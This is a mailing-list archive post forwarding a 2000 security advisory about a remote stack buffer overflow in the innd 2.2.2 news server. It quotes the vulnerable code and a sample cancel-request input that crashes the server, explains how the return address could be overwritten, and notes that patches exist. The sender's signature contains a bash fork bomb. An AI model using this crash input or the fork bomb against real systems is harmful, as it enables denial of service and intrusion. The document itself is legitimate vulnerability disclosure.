Fwd: innd 2.2.2 remote buffer overflow

Russ Allbery rra at stanford.edu
Tue Jun 6 20:01:47 UTC 2000

FYI.  Patches have already been committed, but I'm still poking around to
see if there are any related problems.  The root problem is ARTlog; that's
the reason why these functions are using a static buffer when they
shouldn't be.  I bet there's a much cleaner way of handling that....

Note:  Buffer exploit only affects people with verifycancels turned on in
inn.conf, so don't do that.

Russ Allbery (rra at stanford.edu)             <http://www.eyrie.org/~eagle/>

Date: Tue, 6 Jun 2000 16:18:44 +0200
Reply-To: Michal Zalewski <lcamtuf at TPI.PL>
From: Michal Zalewski <lcamtuf at TPI.PL>
Subject: innd 2.2.2 remote buffer overflow

Newest innd 2.2.2, probably the most popular usenet news server (as well
as previous versions) contain remotely exploitable, trivial on-stack
buffer overflow in control articles handler.

Offending piece of code (in innd/art.c, function ARTcancelverify):

    if (!EQ(local, p)) {
        files = NULL;
        (void)sprintf(buff, "\"%.50s\" wants to cancel %s by \"%.50s\"",
                      p, MessageID, local);
        ARTlog(Data, ART_REJECT, buff);

Where buff (local stack buffer) is SMBUF bytes long (it means, 256 bytes),
but MessageID can be up to 1000 almost bytes long. This code is reached
when cancel request is sent to special newsgroup (called 'control'), and
cancel request contains valid Message-ID, but From/Sender fields are
different in cancel request and in original posting.

How to exploit it? It could be a problem for script kiddies, as Message-ID
is strictly checked for non-printable characters etc. But hey, Message-ID
can be used only as a padding, and then we can overwrite return address
with From/Sender address of cancel post! This field is not verified in any
fascist way. Shellcode? Can be placed anywhere, quite big portions of
cancel post are lying in the accessible memory when overflow happens.

Sample input ("LONGBUFFER" = around 500-600 bytes of AAAs..., has to be
the same every time):

-- input -
201 XXX InterNetNews NNRP server INN 2.2 23-Oct-1998 ready (posting ok)
mode reader
group pl.test
Message-ID: <none at LONGBUFFER>
From: <test at polbox.com>
Newsgroups: pl.test

.		<- single dot, comment to avoid mail transfer problems
group control
Message-ID: <some-random-msgid at test.pl>
Approved: <approver at approving.net>From: <sucker at free.net.pl>
Control: cancel <none at LONGBUFFER>
Subject: cmsg cancel <none at LONGBUFFER>
Newsgroups: control

Damn, cancel it.
.			<- single dot
-- EOF --

If innd/nnrp is running under debugger like strace, you'll see that
child process responsible for request handling dies with SIGSEGV. Nice.

Don't ask me why, but I believe it will be hot weekend for Linux 2.2 users
;) Just wait for Wojtek's post ;P

Michal Zalewski [lcamtuf at tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=

More information about the inn-workers mailing list